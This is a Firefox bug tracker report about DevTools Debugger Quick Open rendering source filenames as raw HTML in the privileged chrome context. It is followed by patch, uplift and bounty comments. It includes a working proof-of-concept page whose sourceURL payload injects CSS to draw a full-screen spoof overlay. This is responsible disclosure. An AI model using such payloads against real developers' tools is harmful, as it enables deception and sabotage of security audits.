DevTools Debugger Quick Open renders source filenames as raw HTML into the privileged chrome:// context (scripting prevented by CSP)
Categories
(DevTools :: Debugger, defect, P2)
Tracking
(firefox-esr115 wontfix, firefox-esr140150+ fixed, firefox149 wontfix, firefox150+ fixed, firefox151+ fixed)
People
(Reporter: tomoya2517, Assigned: bomsy)
References
Details
(Keywords: csectype-priv-escalation, reporter-external, sec-moderate, Whiteboard: [client-bounty-form][adv-main150+][adv-esr140.10+])
Attachments
(2 files, 3 external files, 1 obsolete file)
Platform: Desktop (Windows)
Version: 150.0a1 (2026-03-16)
Firefox DevTools does not HTML-escape source file names before rendering them in the Debugger's Quick Open modal (Ctrl+P). A page under inspection can craft a //# sourceURL= pragma whose filename segment contains arbitrary HTML tags, which are then injected into chrome://devtools/content/debugger/index.html via dangerouslySetInnerHTML and executed in the privileged DevTools document.
As a concrete example, embedding a <style> tag in the filename causes the enclosed CSS to take effect inside the DevTools document. The PoC below injects a full-screen overlay that covers the entire DevTools window as soon as a developer searches for "overlay" in Quick Open.
Steps to Reproduce:
- Serve
poc.htmlbelow on any local HTTP server (e.g.python3 -m http.server 8000). - Open Firefox and navigate to
http://localhost:8000/poc.html. - Open DevTools (F12) and select the Debugger panel.
- Press Ctrl+P to open Quick Open.
- Type
overlayin the search box. - Observe that the entire DevTools window is covered by a full-screen overlay bearing the text "DevTools-Hijacked".
Security Impact:
A web page being actively inspected by a developer can inject arbitrary CSS into the privileged DevTools document without any user gesture beyond opening Quick Open. Concrete impacts include:
- Full-screen overlay impersonating Firefox security dialogs, enabling social-engineering attacks against developers.
- Complete concealment of Quick Open results (
display:none) preventing a security auditor from finding any source files.
The DevTools CSP (default-src chrome:; style-src 'unsafe-inline') blocks inline script execution and external network requests, so direct JavaScript execution and data exfiltration are not achievable. However, full visual control over the DevTools UI is sufficient to deceive developers and interfere with security audits.
PoC:
poc.html:
<!DOCTYPE html>
<html>
<head><title>PoC</title></head>
<body>
<p>Open DevTools (F12) → Debugger → Ctrl+P → type "overlay".</p>
<script>
const PAYLOAD =
"<style>" +
"body::after{" +
"content:'DevTools-Hijacked';" +
"position:fixed;top:0;left:0;right:0;bottom:0;" +
"z-index:2147483647;" +
"background:rgba(30,31,40,.97);" +
"color:rgb(255,85,85);" +
"font-size:22px;line-height:2;font-family:monospace;" +
"display:flex;align-items:center;justify-content:center;" +
"text-align:center;white-space:pre" +
"}" +
"overlay.js";
const s = document.createElement("script");
s.textContent = "//# sourceURL=http://localhost:3000/poc/" + PAYLOAD;
document.body.appendChild(s);
</script>
</body>
</html>
Comment 1•7 months ago
|
||
Updated•7 months ago
|
| Assignee | ||
Updated•7 months ago
|
Comment 2•7 months ago
|
||
Bomsy, can you file a bug also to remove remaining usage of dangerouslySetInnerHTML in devtools?
| Assignee | ||
Comment 4•7 months ago
|
||
This removes the logic used to try highlighting the part of the
source file name which matches the query text (typed into the quick
open) by injecting html into the title.
This all depends on the use of dangerouslySetInnerHTML, which added a
security risk.
Ironically the title property does not support styling anyways so all
this was not really neccesary.
| Assignee | ||
Updated•7 months ago
|
Comment 6•7 months ago
|
||
Comment 7•7 months ago
|
||
We are awarding a split bounty between this and bug 2024531 which were both filed within our collision window.
Updated•7 months ago
|
Comment 8•7 months ago
|
||
The patch landed in nightly and beta is affected.
:bomsy, is this bug important enough to require an uplift?
- If yes, please nominate the patch for beta approval.
- See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
- If no, please set
status-firefox150towontfix.
For more information, please visit BugBot documentation.
Comment 10•7 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined/Reason for urgency: Potential to hijack devtools leveraging the //@ sourceURL
- Code covered by automated testing?: yes
- Fix verified in Nightly?: yes
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: javascript fix
- String changes made/needed?: None
- Is Android affected?: yes
| Assignee | ||
Comment 11•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D288642
Comment 12•7 months ago
|
||
firefox-esr140 Uplift Approval Request
- User impact if declined/Reason for urgency: Potential to hijack devtools leveraging the //@ sourceURL
- Code covered by automated testing?: yes
- Fix verified in Nightly?: yes
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: javascript fix
- String changes made/needed?: None
- Is Android affected?: yes
| Assignee | ||
Comment 13•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D288642
| Assignee | ||
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Comment 14•7 months ago
|
||
| uplift | ||
Updated•7 months ago
|
Updated•7 months ago
|
Comment 15•7 months ago
|
||
| uplift | ||
Comment 16•7 months ago
|
||
| uplift | ||
Comment 17•7 months ago
|
||
Backed out from ESR140 for causing dt failure @browser_dbg-quick-open.js
Updated•7 months ago
|
Updated•7 months ago
|
| Assignee | ||
Comment 18•7 months ago
|
||
So it looks like the Sanitizer API is not supported in ESR. i'll do a fix
| Assignee | ||
Comment 19•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D288642
Updated•7 months ago
|
Comment 20•7 months ago
|
||
firefox-esr140 Uplift Approval Request
- User impact if declined/Reason for urgency: Devtools can be hijacked leveraging th //@sourceUrl
- Code covered by automated testing?: yes
- Fix verified in Nightly?: yes
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Js fix using new Web API
- String changes made/needed?: none
- Is Android affected?: yes
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Comment 21•7 months ago
|
||
| uplift | ||
Updated•6 months ago
|
Updated•6 months ago
|
Updated•5 months ago
|
Updated•2 months ago
|
Description
•